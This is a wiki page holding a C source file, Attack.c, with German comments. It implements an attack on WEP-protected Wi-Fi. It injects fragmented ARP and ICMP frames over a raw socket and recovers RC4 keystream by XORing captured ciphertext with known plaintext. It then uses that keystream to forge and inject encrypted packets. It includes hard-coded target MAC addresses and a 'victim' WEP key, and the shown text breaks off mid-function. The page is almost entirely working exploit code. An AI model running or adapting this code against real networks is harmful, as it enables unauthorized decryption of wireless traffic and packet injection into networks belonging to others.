Attack.c

From
Revision as of 10:35, 31 October 2006 by Grauel (talk | contribs)
(diff) ← Older revision | Latest revision (diff) | Newer revision → (diff)
Jump to navigation Jump to search
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <errno.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <net/ethernet.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>

#include <string.h>
#include <netinet/in.h>
#include <net/if.h>
#include <netpacket/packet.h>
#include "rc4.h"

#define SEND_BIT 28 //0x24(verschluesselt) <> 0x1c(unverschluesselt)
#define crypt1  
#define DEBUG
#define KEY_LAENGE 64 //Bit
#define MAX_PACKETSIZE 1500

  #define TMAC0 0x00
  #define TMAC1 0x0f
  #define TMAC2 0xb5
  #define TMAC3 0x3f
  #define TMAC4 0x13
  #define TMAC5 0x14
#if 0
  #define TMAC0 0x00
  #define TMAC1 0x11
  #define TMAC2 0x88
  #define TMAC3 0x28
  #define TMAC4 0x73
  #define TMAC5 0x30
#endif
#if 0
  #define MAC0 0x00
  #define MAC1 0x13
  #define MAC2 0x02
  #define MAC3 0x2a
  #define MAC4 0x80
  #define MAC5 0x8d
#endif
//0x00, 0x0F, 0xb5, 0x97, 0x37, 0x37, //source

  #define MAC0 0x00
  #define MAC1 0x0f
  #define MAC2 0xb5
  #define MAC3 0x97
  #define MAC4 0x37
  #define MAC5 0x37

   typedef struct { 
	int iv; 
	unsigned char keyindex; 
	unsigned char keystream[2400];
  } key;  

int rawsock;

extern int crc32_bitoriented(unsigned char *buffer, int length);
extern void swap_byte(unsigned char *a, unsigned char *b);
extern void prepare_key(unsigned char *key_data_ptr, int key_data_len, rc4_key *key);
extern void rc4(unsigned char*buffer_ptr, int buffer_len, rc4_key *key);
unsigned short chksum(unsigned char *data, int l);
void my_decrypt(unsigned char packet[], int n);

void filter(int min_len);
void decrypt_arp(unsigned char packet[], int n);
void decrypt_ping(unsigned char packet[], int n);
void short_ping(unsigned char *packet, unsigned char *kv, int len);

	unsigned char nul[2400];
	unsigned char arp[] = {
		0xaa, 0xaa, 0x03, 0x00, 0x00, 0x00, 0x08, 0x06,//LLC/SNAP
		0x00, 0x01, //type ethernet
		0x08, 0x00, //proto-type
		0x06, 0x04, 0x00, 0x01, //hw, opcode
		0x00, 0x0f, 0xb5, 0x97, 0x37, 0x37, //source-mac
		0xc0, 0xa8, 0x8e, 0x02, //source IP NEEDS PATCH 0x16-0x19 XXX last byte= 64
		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, //target-mac
		0xc0, 0xa8, 0x8e, 0x01 //target-ip
	};

	unsigned char ping[]={
	0xaa, 0xaa, 0x03, 0x00, 0x00, 0x00, 0x08, 0x00, //SNAP _7
	0x45, 0x00, 0x01, 0x1c, // ipheader,flags, 2bit:laenge _11
	0x00, 0x00, // Identification _13
	0x40, //flags _14
	0x00, //fragmen offset _15
	0x40, // TTL _16
	0x01, // Proto = ICMP _17
	0x9c, 0x8c, // FIXME CHKSUM _19
	0xc0, 0xa8, 0x8e, 0x02, //SRC IP _23
	0xc0, 0xa8, 0x8e, 0x01, //DEST IP (TARGET) _27
	0x08, //ICMP type echo request
	0x00, //code _29
	0x07, 0xd5, //icmp-chksum FIXME TODO XXX _31
	0x08, 0x20, //identifier _33
	0x00, 0x02, //sequenz _35
	0x40, 0xe5, 0x18, 0x45, 0x2f, 0x37, 0x0a, 0x00, //statische daten
	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff // _291
	};
	int ping_len = 292;


	uint8_t arp_len = 36;

/* wandelt daten in hexzahlen um */ 
  void
hexdump (unsigned char *data, int len, int nl)
{
  int i;
  for (i = 0; i < len; i++)
    printf ("%02x%c", data[i], (i < len - 1) ? ':' : 0);
  if (nl)
  	printf ("\n");
}


/* header ausgeben */ 
  void
print_header (unsigned char packet[], int n) 
{
  printf ("\nType:\t%x", (unsigned char) packet[0]);
  printf ("\nFlags:\t%x", (unsigned char) packet[1]);
  printf ("\nDauer:\t%u", (unsigned short) packet[2]);
  printf ("\nZiel-Mac:\t");
  hexdump ((unsigned char *) packet + 0x04, 6, 0);
  printf ("\nBSS-Mac:\t");
  hexdump ((unsigned char *) packet + 0x0a, 6, 0);
  printf ("\nQuell-Mac:\t");
  hexdump ((unsigned char *) packet + 0x10, 6, 0);
  printf ("\nSequenzNR:\t%u", (unsigned short) packet[0x16]);
  printf ("\n##IV##:\t%x %x %x", (unsigned char) packet[0x18],
	   (unsigned char) packet[0x19], (unsigned char) packet[0x1a]);
  printf ("\nKey-Index:\t%u\n", (unsigned char) packet[0x1b]);
  hexdump ((unsigned char *) packet + 0x1c, n - 3 - 0x1c, 1);
  printf ("WEP-ICV:\t");
  hexdump ((unsigned char *) packet + n - 3, 4, 1);
  return;
}

unsigned char * get_bss(char packet[], int n)
{
	return (unsigned char*)packet + + 10;
}
/*
uint32_t modpot(uint32_t a, uint8_t e, uint8_t m)
{
	uint32_t z, i;
	z = 1;
	for (i = ;
	
}*/

void send_arp(unsigned char packet[], uint8_t iv[], uint8_t kv[], uint8_t key_idx)
{
	unsigned char arp_enc[] = {
		0x08, //Data
		//org0x45, //flags: enc, toDS, frag (FRAGS needs to be cleared for last package)
		0x00,
		0x00, 0x00, //duration-field
		TMAC0, TMAC1, TMAC2, TMAC3, TMAC4, TMAC5, //BSS
		0x00, 0x0F, 0xb5, 0x97, 0x37, 0x37, //source
		0xff, 0xff, 0xff, 0xff, 0xff, 0xff, //dest (broadcast)
		0xff, 0xff, //sequence NEEDS PATCH 0x16-0x17
		0xff, 0xff, 0xff, //IV NEEDS PATCH 0x18-0x1a
		0xff, //key_idx NEEDS PATCH 0x1b
		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, //payload NEEDS PATCH 0x1c-0x23
		0xff, 0xff, 0xff, 0xff //package-checksum NEEDS PATCH 0x24-0x27
	};
	//uint8_t arp_enc_len = 0x28;
	uint32_t ivc, packsum;
	int i, nr;
	unsigned int sequenz;

	sequenz = (packet[17]);
	sequenz = (sequenz<<4)+(packet[16]&0xf);
	
	sequenz += 42;
	ivc = 0;
	//fuer alle fragmente:
	printf("\n");
	for(nr=0;nr < (int)arp_len/4; nr++)
	{	
#ifdef crypt1	
	arp_enc[0x01] = (nr==(int)(arp_len/4-1))?0x41+0x08:0x45+0x08;
#else
	arp_enc[0x01] = (nr==(int)(arp_len/4-1))?0x09:0xd;
//	printf("runde: %d\tschalter: %x\n", nr, arp_enc[0x01]);
#endif
		//arp_enc[0x01] = (nr==(int)(arp_len/4-1))?0x01+0x08:0x05+0x08;

		//build sequence-field
		/* fragment 4 bit - squenz 12 bit */
		//sequenz++;
		//arp_enc[0x17] = packet[0x17]+(nr%16)?0:1;
		arp_enc[0x17] = (unsigned char)sequenz>>4; //die 8 hoechstwertigen bits
		arp_enc[0x16] = ((nr%16))|(unsigned char)((sequenz)<<4); //fragment-nr-4bit|sequenz-nr-4bit
		//printf("sequenz=%u\n",sequenz);
#ifdef crypt1
		//set IV
		arp_enc[0x18] = packet[0x18];
		arp_enc[0x19] = packet[0x19];
		arp_enc[0x1a] = packet[0x1a];
		//set keyidx
		arp_enc[0x1b] = key_idx;
#endif

#ifdef crypt1
		//packet fuellen - verschluesselt
		arp_enc[0x1c] = arp[0+(nr*4)];
		arp_enc[0x1d] = arp[1+(nr*4)];
		arp_enc[0x1e] = arp[2+(nr*4)];
		arp_enc[0x1f] = arp[3+(nr*4)];
#else
		//packet fuellen - unverschluesselt
//	printf("packet unverschluesselt fuellen\n");
		arp_enc[0x18] = arp[0+(nr*4)];
		arp_enc[0x19] = arp[1+(nr*4)];
		arp_enc[0x1a] = arp[2+(nr*4)];
		arp_enc[0x1b] = arp[3+(nr*4)];
#endif

#if 0
		arp_enc[0x18] = arp[0+(nr*4)];
		arp_enc[0x19] = arp[1+(nr*4)];
		arp_enc[0x1a] = arp[2+(nr*4)];
		arp_enc[0x1b] = arp[3+(nr*4)];
#endif
#ifdef crypt1
		//build icv-checksum over packet
		ivc = crc32_bitoriented((arp+(nr*4)), 4);
  //  	printf("crc : %X %X %X %X ist %8X\n", arp[0+(4*nr)], arp[1+(4*nr)], arp[2+(4*nr)], arp[3+(4*nr)], ivc);
		//build packet
		arp_enc[0x20] = *(((uint8_t *)&ivc)+0);
		arp_enc[0x21] = *(((uint8_t *)&ivc)+1);
		arp_enc[0x22] = *(((uint8_t *)&ivc)+2);
		arp_enc[0x23] = *(((uint8_t *)&ivc)+3);
#endif
#ifdef crypt1
		printf("unverschluesselt:\t"); hexdump((unsigned char *) arp_enc + 0x1c,8,1);
		//verschluesseln	
		for(i=0;i<8;i++)
		{
			arp_enc[0x1c + i] ^= kv[i];
		}
#endif

#ifdef crypt1	
		printf("  verschluesselt:\t"); hexdump((unsigned char *)arp_enc + 0x1c,8,1);
#else 
	//	printf("verschluesselter datenteil:\t"); hexdump((unsigned char *)arp_enc + 0x18,8,1);
#endif


		//checksumme des packetes bilden
		packsum = crc32_bitoriented(arp_enc,36);
#ifdef crypt1
		arp_enc[0x24] = *(((uint8_t *)&packsum)+0);
		arp_enc[0x25] = *(((uint8_t *)&packsum)+1);
		arp_enc[0x26] = *(((uint8_t *)&packsum)+2);
		arp_enc[0x27] = *(((uint8_t *)&packsum)+3);
#else
		arp_enc[0x1c] = *(((uint8_t *)&packsum)+0);
		arp_enc[0x1d] = *(((uint8_t *)&packsum)+1);
		arp_enc[0x1e] = *(((uint8_t *)&packsum)+2);
		arp_enc[0x1f] = *(((uint8_t *)&packsum)+3);
#endif

#ifdef crypt1
		for(i=0;i<0x24;i++)printf("%x ",arp_enc[i]);
	printf("\n");	
		while(write(rawsock, arp_enc,0x24)!=0x24) ;
#else
	//	for(i=0;i<SEND_BIT;i++)printf("%x ",arp_enc[i]);		
	//	printf("\n");
	
		while(write(rawsock, arp_enc,SEND_BIT)!=SEND_BIT) ;
#endif
	//	printf("%d. runde vollendet:", nr);getc(stdin);
	}
	
	filter(0);
}

/*debug*/
void filter(int min)
{
	int n;
	unsigned char packet[2400];
	int packetsize = 2400;
printf("FILTER SUCHT PASSENDES PACKET\n\n");
while(1){
      n = read (rawsock, packet, packetsize);
	  /* wenn das netz eine bestimmt mac hat: packet+0x0a*/

      if (//(packet[0] == 0x08) &&
			(n > min) &&
				((TMAC0==(unsigned char)packet[10]) &&
				  (TMAC1==(unsigned char)packet[11]) &&	
				  (TMAC2==(unsigned char)packet[12]) &&	
				  (TMAC3==(unsigned char)packet[13]) &&	
				  (TMAC4==(unsigned char)packet[14]) &&	
				  (TMAC5==(unsigned char)packet[15])) 
			&&
					(((MAC0==(unsigned char)packet[4]) &&
				  	(MAC1==(unsigned char)packet[5]) &&	
				  	(MAC2==(unsigned char)packet[6]) &&	
				  	(MAC3==(unsigned char)packet[7]) &&	
				  	(MAC4==(unsigned char)packet[8]) &&	
				  	(MAC5==(unsigned char)packet[9]))
				||
					((MAC0==(unsigned char)packet[16]) &&
				  	(MAC1==(unsigned char)packet[17]) &&	
				  	(MAC2==(unsigned char)packet[18]) &&	
				  	(MAC3==(unsigned char)packet[19]) &&	
				  	(MAC4==(unsigned char)packet[20]) &&	
				  	(MAC5==(unsigned char)packet[21])))
		)
	  {	
 		printf("!!GOT RESPONSE!!\n");	
		print_header (packet, n);

		printf("Komplettes Paket:\n");
		hexdump(packet,n,1);
		printf("Entschluesseltes Paket\n");
		hexdump(arp,36,1);
		
		//getc(stdin);//getc(stdin);
#ifdef crypt1
		if(n>550) { my_decrypt(packet,n); return;}
		else if(n>200) decrypt_ping(packet, n);
		else if(min==0) exit(1);
		decrypt_arp(packet, n);
	
#endif
		return;
	  }
}
}

void my_send(unsigned char src[], unsigned char data[], unsigned char kv[], int n, unsigned short fragmente){


	if(n/MAX_PACKETSIZE > 16){printf("cannot send %i Byte in %u fragments\n", n, fragmente); return;}
	if(fragmente > 16){printf("cannot send more than 16 fragments\n");}
	
	unsigned char *packet = malloc(n*sizeof(unsigned char) + 0x1c + 40);
	if(packet == NULL) {printf("malloc error\n"); exit(0);}
	unsigned char header[]= 	
	{
		0x08, //Data
		//org0x45, //flags: enc, toDS, frag (FRAGS needs to be cleared for last package)
		0x00,
		0x00, 0x00, //duration-field
		TMAC0, TMAC1, TMAC2, TMAC3, TMAC4, TMAC5, //BSS
		0x00, 0x0F, 0xb5, 0x97, 0x37, 0x37, //source
		//TMAC0, TMAC1, TMAC2, TMAC3, TMAC4, TMAC5, //BSS
		0xff, 0xff, 0xff, 0xff, 0xff, 0xff, //dest
		0xff, 0xff, //sequence NEEDS PATCH 0x16-0x17
		0xff, 0xff, 0xff, //IV NEEDS PATCH 0x18-0x1a
		0xff, //key_idx NEEDS PATCH 0x1b
	};

	int nr;
	int i, ivc, sequenz;
	int fragment_size = n / fragmente;

	for(i=0;i<0x1c;i++) packet[i]=header[i];
	//for(i=0;i<(n-0x1c);i++) packet[i+0x1c]=data[i];

	//hexdump(ping+27,264,1);
	//printf("checksum vom ping-ding:\t%x\n", chksum(ping+27, 264)); 
	
	sequenz = src[17];
	sequenz = (sequenz<<4)+(src[16]&0xf);
	sequenz++;
while(1){
	for(nr=0;nr < fragmente; nr++)
	{	
		packet[0x01] = (nr==(int)(fragmente-1))?0x41+0x08:0x45+0x08;

		//build sequence-field
		/* fragment 4 bit - squenz 12 bit */
		//sequenz++;
		//arp_enc[0x17] = packet[0x17]+(nr%16)?0:1;
		packet[0x17] = (unsigned char)sequenz>>4; //die 8 hoechstwertigen bits
		packet[0x16] = (nr%16)|(unsigned char)((sequenz)<<4); //fragment-nr-4bit|sequenz-nr-4bit

		//set IV
		packet[0x18] = src[0x18];
		packet[0x19] = src[0x19];
		packet[0x1a] = src[0x1a];
		//set keyidx
		packet[0x1b] = src[0x1b];

		//packet fuellen 
		for(i=0;i<fragment_size;i++) packet[0x1c + i] = data[i+(nr*fragment_size)];
		
		//build icv-checksum over packet
		ivc = crc32_bitoriented(data+0x1c, fragment_size);
		//build packet
		packet[0x1c+fragment_size+0] = *(((uint8_t *)&ivc)+0);
		packet[0x1c+fragment_size+1] = *(((uint8_t *)&ivc)+1);
		packet[0x1c+fragment_size+2] = *(((uint8_t *)&ivc)+2);
		packet[0x1c+fragment_size+3] = *(((uint8_t *)&ivc)+3);

		//verschluesseln
		for(i=0;i<fragment_size+4;i++) packet[0x1c+i]^=kv[i];

		//ausgeben des packets
		//printf("AUSGEBEN DES PACKETES\n");
		//hexdump(packet,fragment_size+0x1c+4,1);
	
		//senden des packets
			while(write(rawsock, packet,fragment_size + 0x1c + 4 )!=fragment_size + 0x1c +4) ;
	//	printf("\nWURDE GESENDET\n");	
	
		
	
	}
	filter(n/2);	
}
}

void send_ping(unsigned char packet[], unsigned char kv[], int n)
{
	unsigned char ping_header[]={
		0x08, //Data
		//org0x45, //flags: enc, toDS, frag (FRAGS needs to be cleared for last package)
		0x00,
		0x00, 0x00, //duration-field
		TMAC0, TMAC1, TMAC2, TMAC3, TMAC4, TMAC5, //BSS
		0x00, 0x0F, 0xb5, 0x97, 0x37, 0x37, //source
		//TMAC0, TMAC1, TMAC2, TMAC3, TMAC4, TMAC5, //BSS
		0xff, 0xff, 0xff, 0xff, 0xff, 0xff, //dest
		0xff, 0xff, //sequence NEEDS PATCH 0x16-0x17
		0xff, 0xff, 0xff, //IV NEEDS PATCH 0x18-0x1a
		0xff, //key_idx NEEDS PATCH 0x1b
		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, //payload
		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, //payload 
		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, //payload 
		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, //payload
		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, //payload + icv
	};

	int nr;
	int i, ivc, sequenz;
	//hexdump(ping+27,264,1);
	//printf("checksum vom ping-ding:\t%x\n", chksum(ping+27, 264)); 
	
	sequenz = (packet[17]);
	sequenz = (sequenz<<4)+(packet[16]&0xf);
	for(nr=0;nr < (int)ping_len/36; nr++)
	{	
	ping_header[0x01] = (nr==(int)(ping_len/36-1))?0x41+0x08:0x45+0x08;

		//build sequence-field
		/* fragment 4 bit - squenz 12 bit */
		//sequenz++;
		//arp_enc[0x17] = packet[0x17]+(nr%16)?0:1;
		ping_header[0x17] = (unsigned char)sequenz>>4; //die 8 hoechstwertigen bits
		ping_header[0x16] = ((nr%16))|(unsigned char)((sequenz)<<4); //fragment-nr-4bit|sequenz-nr-4bit

		//set IV
		ping_header[0x18] = packet[0x18];
		ping_header[0x19] = packet[0x19];
		ping_header[0x1a] = packet[0x1a];
		//set keyidx
		ping_header[0x1b] = packet[0x1b];

		//packet fuellen 
		for(i=0;i<36;i++) ping_header[0x1c + i] = ping[i+(nr*36)];
		
		//build icv-checksum over packet
		ivc = crc32_bitoriented((ping+(nr*36)), 36);
		//build packet
		ping_header[0x40] = *(((uint8_t *)&ivc)+0);
		ping_header[0x41] = *(((uint8_t *)&ivc)+1);
		ping_header[0x42] = *(((uint8_t *)&ivc)+2);
		ping_header[0x43] = *(((uint8_t *)&ivc)+3);

		for(i=0;i<0x44;i++) ping_header[0x1c+i]^=kv[i];

		//ausgeben des packets
//		printf("AUSGEBEN DES PACKETES\n");
//		for(i=0;i<0x44;i++)printf("%x ", ping_header[i]);
	
		//senden des packets
		while(write(rawsock, ping_header,0x44)!=0x44) ;
//		printf("\nWURDE GESENDET\n");	
	}
		
	
	filter(200);	
	
}

unsigned short chksum(unsigned char *data, int l)
{
	int i;
	unsigned short sum = 0;
	
	for(i=0;i<l;i+=2){
		sum += (unsigned short)(((data[i]^0xff)<<8)+(data[i+1]^0xff));		
	}
//	printf("%d\n",i);
	return sum;	
}

void decrypt_arp(unsigned char packet[], int n)
{	
	int i, packsum;
	unsigned char kv[2400];
	unsigned char nul[2400];
	unsigned char wep_key[]={0x00,0x00,0x00,0xf0,0x0b,0xaf,0x00,0xba}; //opfer
	rc4_key rc4_schluessel;
	unsigned char ivc[4];
#ifdef crypt1
//	if(packet[0]==0xb0)printf("authentication frame found\n");
	//if(n!=86) {printf("kein arp-packet!!\n"); return;} //kein arp
#endif	
  	printf ("\n##IV##:\t%x %x %x\n", (unsigned char) packet[0x18], (unsigned char) packet[0x19], (unsigned char) packet[0x1a]);
	
	for(i=0;i<36;i++) { kv[i] = packet[0x1c+i]^arp[i];}  //36 Byte Schluessel aus bekanntem ARP erraten
	 			
		packsum = crc32_bitoriented(arp,36);
		ivc[3] = *(((uint8_t *)&packsum)+3);
		ivc[2] = *(((uint8_t *)&packsum)+2);
		ivc[1] = *(((uint8_t *)&packsum)+1);
		ivc[0] = *(((uint8_t *)&packsum)+0);

//    	printf("crc vom arp ist %x %x %x %x\n", ivc[0], ivc[1], ivc[2], ivc[3]);
#ifdef crypt1
		/* i == 36 */
		i = 36;
		kv[i] = ivc[0]^packet[0x1c+i];i++;
		kv[i] = ivc[1]^packet[0x1c+i];i++;
		kv[i] = ivc[2]^packet[0x1c+i];i++;
		kv[i] = ivc[3]^packet[0x1c+i];i++;

		printf("berechneter Keystream:\n");
		for(i=0;i<40;i++) printf("%x ",kv[i]); 
		printf("\nRC4-Keystream\n");
		wep_key[0]=packet[0x18];
		wep_key[1]=packet[0x19];
		wep_key[2]=packet[0x1a];

		prepare_key(wep_key,8/* KEY_LAENGE*/, &rc4_schluessel);
		for(i=0;i<80;i++) nul[i]=0x00;
		rc4(nul,40,&rc4_schluessel);
		for(i=0;i<80;i++) printf("%x ",nul[i]); 

		for(i=0;i<40;i++) packet[28+i]^=kv[i]; 	// Vergleich mit erwarteten ARP-Packet
		printf("\nEntschluesseltes Packet:\n");
		for(i=0;i<68;i++) printf("%x ",packet[i]); 
		printf("\n");
		i = 40;
	/* ***************************************************** */
		send_ping(packet, kv, i);
	
#endif
	
}

void decrypt_ping(unsigned char packet[], int n)
{	
	int i, packsum;
	unsigned char kv[2400];
	unsigned char nul[2400];
	unsigned char wep_key[]={0x00,0x00,0x00,0xf0,0x0b,0xaf,0x00,0xba}; //opfer
	rc4_key rc4_schluessel;
	unsigned char ivc[4];
	
 // 	printf ("\nPING DECRYPT\n##IV##:\t%x %x %x\n", (unsigned char) packet[0x18], (unsigned char) packet[0x19], (unsigned char) packet[0x1a]);
	
	for(i=0;i<(n-(0x1c + 4));i++) { kv[i] = packet[0x1c+i]^ping[i];}  //n Byte Schluessel aus bekanntem ping erraten
	 			
		packsum = crc32_bitoriented(ping,ping_len);
		ivc[3] = *(((uint8_t *)&packsum)+3);
		ivc[2] = *(((uint8_t *)&packsum)+2);
		ivc[1] = *(((uint8_t *)&packsum)+1);
		ivc[0] = *(((uint8_t *)&packsum)+0);

   // 	printf("crc vom ping ist %x %x %x %x\n", ivc[0], ivc[1], ivc[2], ivc[3]);
		/* i == 36 */
		i = n - 4;
		kv[i] = ivc[0]^packet[0x1c+i];i++;
		kv[i] = ivc[1]^packet[0x1c+i];i++;
		kv[i] = ivc[2]^packet[0x1c+i];i++;
		kv[i] = ivc[3]^packet[0x1c+i];i++;

	//	printf("berechneter Keystream:\n");
		//for(i=0;i<(n-0x1c);i++) printf("%x ",kv[i]); 
		hexdump(kv,n-0x1c,1);
	//	printf("\nRC4-Keystream\n");
		wep_key[0]=packet[0x18];
		wep_key[1]=packet[0x19];
		wep_key[2]=packet[0x1a];

		prepare_key(wep_key,8/* KEY_LAENGE*/, &rc4_schluessel);
		for(i=0;i<(n-0x1c);i++) nul[i]=0x00;
		rc4(nul,n-0x1c,&rc4_schluessel);
		//for(i=0;i<(n-0x1c);i++) printf("%x ",nul[i]); 
		hexdump(nul,n-0x1c,1);

		for(i=0;i<(n-0x1c);i++) packet[28+i]^=kv[i]; 	// Vergleich mit erwarteten ARP-Packet
	//	printf("\nEntschluesseltes Packet:\n");
		//for(i=0;i<n;i++) printf("%x ",packet[i]); 
//		hexdump(packet,n,1);
	//	printf("\n");
	
	//	short_ping(packet,kv,n);
		printf("Sende %d (verschluesselte) Bytes Nullen\n", 1000); 
		for(i=0;i<1100;i++) nul[i]=0;
		my_send(packet, nul, kv,1000,16);  
		filter(600);
	
}

void my_decrypt(unsigned char packet[], int n)
{	
	int i;
	unsigned char kv[2400];
	unsigned char wep_key[]={0x00,0x00,0x00,0xf0,0x0b,0xaf,0x00,0xba}; //opfer
	rc4_key rc4_schluessel;
	
//  	printf ("\nMY_DECRYPT\n##IV##:\t%x %x %x\n", (unsigned char) packet[0x18], (unsigned char) packet[0x19], (unsigned char) packet[0x1a]);
 	printf ("\nIV:\t%x %x %x\n", (unsigned char) packet[0x18], (unsigned char) packet[0x19], (unsigned char) packet[0x1a]);
	kv[0]=packet[0x1c]^0xaa;
	kv[1]=packet[0x1d]^0xaa;
	kv[2]=packet[0x1e]^0x03;
	kv[3]=packet[0x1f]^0x00;
	kv[4]=packet[0x20]^0x00;
	kv[5]=packet[0x21]^0x00;
	kv[6]=packet[0x22]^0x03;
	kv[7]=packet[0x23]^0xe0;
	for(i=8;i<(n-(0x1c + 4));i++) { kv[i] = packet[0x1c+i];}  //n Byte Schluessel aus bekanntem ping erraten
	 			
		printf("berechneter Keystream:\n");
		hexdump(kv+0,n-0x23,1);
		printf("\nRC4-Keystream\n");
		wep_key[0]=packet[0x18];
		wep_key[1]=packet[0x19];
		wep_key[2]=packet[0x1a];

		prepare_key(wep_key,8/* KEY_LAENGE*/, &rc4_schluessel);
		for(i=0;i<(n-0x1c);i++) nul[i]=0x00;
		rc4(nul,n-0x1c,&rc4_schluessel);
		//for(i=0;i<(n-0x1c);i++) printf("%x ",nul[i]); 
		hexdump(nul+0,n-0x23,1);

//		for(i=0;i<(n-0x1c);i++) packet[28+i]^=kv[i]; 	// Vergleich mit erwarteten Packet
//		printf("\nEntschluesseltes Packet:\n");
		//for(i=0;i<n;i++) printf("%x ",packet[i]); 
//		hexdump(packet,n,1);
//		printf("\n");
	
	//	short_ping(packet,kv,n);
//		printf("Sende %d (verschluesselte) Bytes Nullen\n", 16*( n - 0x1c + 4)); 
		for(i=0;i<2400;i++) nul[i]=0;
return;	
}
void short_ping(unsigned char *packet, unsigned char *kv, int len){

	unsigned char ping_header[]={
		0x08, //Data
		//org0x45, //flags: enc, toDS, frag (FRAGS needs to be cleared for last package)
		0x49,
		0x00, 0x00, //duration-field
		TMAC0, TMAC1, TMAC2, TMAC3, TMAC4, TMAC5, //BSS
		0x00, 0x0F, 0xb5, 0x97, 0x37, 0x37, //source
		//TMAC0, TMAC1, TMAC2, TMAC3, TMAC4, TMAC5, //dest
		0xff, 0xff, 0xff, 0xff, 0xff, 0xff, //dest
		0xff, 0xff, //sequence NEEDS PATCH 0x16-0x17
		0xff, 0xff, 0xff, //IV NEEDS PATCH 0x18-0x1a
		0xff, //key_idx NEEDS PATCH 0x1b
		0xaa, 0xaa, 0x03, 0x00, 0x00, 0x00, 0x08, 0x00, //payload
		0x45, 0x00, 0x00, 0x54, 0x00, 0x00, 0x40, 0x00, //payload 
		0x40, 0x01, 0x9d, 0x54, 0xc0, 0xa8, 0x8e, 0x02, //payload 
		0xc0, 0xa8, 0x8e, 0x01, 0x08, 0x00, 0x97, 0x51, //payload
		0x3e, 0x3f, 0x00, 0x01, 0xb4, 0x29, 0x19, 0x45, //payload + icv
		0x82, 0xfc, 0x05, 0x00, 0x08, 0x09, 0x0a, 0x0b, //payload + icv
		0x0c, 0x0d, 0x0e, 0x0f, 0x10, 0x11, 0x12, 0x13, //payload + icv
		0x14, 0x15, 0x16, 0x17, 0x18, 0x19, 0x1a, 0x1b, //payload + icv
		0x1c, 0x1d, 0x1e, 0x1f, 0x20, 0x21, 0x22, 0x23, //payload + icv
		0x24, 0x25, 0x26, 0x27, 0x28, 0x29, 0x2a, 0x2b, //payload + icv
		0x2c, 0x2d, 0x2e, 0x2f, 0x30, 0x31, 0x32, 0x33, //payload + icv
		0x34, 0x35, 0x36, 0x37, 0x00, 0x00, 0x00, 0x00
	};
	int sequenz, i, ivc;
	sequenz = (packet[17]);
	sequenz = (sequenz<<4)+(packet[16]&0xf);

		//build sequence-field
		/* fragment 4 bit - squenz 12 bit */
		//sequenz++;
		//arp_enc[0x17] = packet[0x17]+(nr%16)?0:1;
		ping_header[0x17] = (unsigned char)sequenz>>4; //die 8 hoechstwertigen bits
		ping_header[0x16] = (0)|(unsigned char)((sequenz)<<4); //fragment-nr-4bit|sequenz-nr-4bit

		//set IV
		ping_header[0x18] = packet[0x18];
		ping_header[0x19] = packet[0x19];
		ping_header[0x1a] = packet[0x1a];
		//set keyidx
		ping_header[0x1b] = packet[0x1b];
		//build icv-checksum over packet
		ivc = crc32_bitoriented((ping_header+(0x1c)), 92);
//		printf("crc: %x\n", ivc);
		//build packet
		ping_header[92 + 0x1c] = *(((uint8_t *)&ivc)+0);
		ping_header[93 + 0x1c] = *(((uint8_t *)&ivc)+1);
		ping_header[94 + 0x1c] = *(((uint8_t *)&ivc)+2);
		ping_header[95 + 0x1c] = *(((uint8_t *)&ivc)+3);
//		printf("ping unverschluesselt\n");
		hexdump(ping_header, 96 + 0x1c, 1);

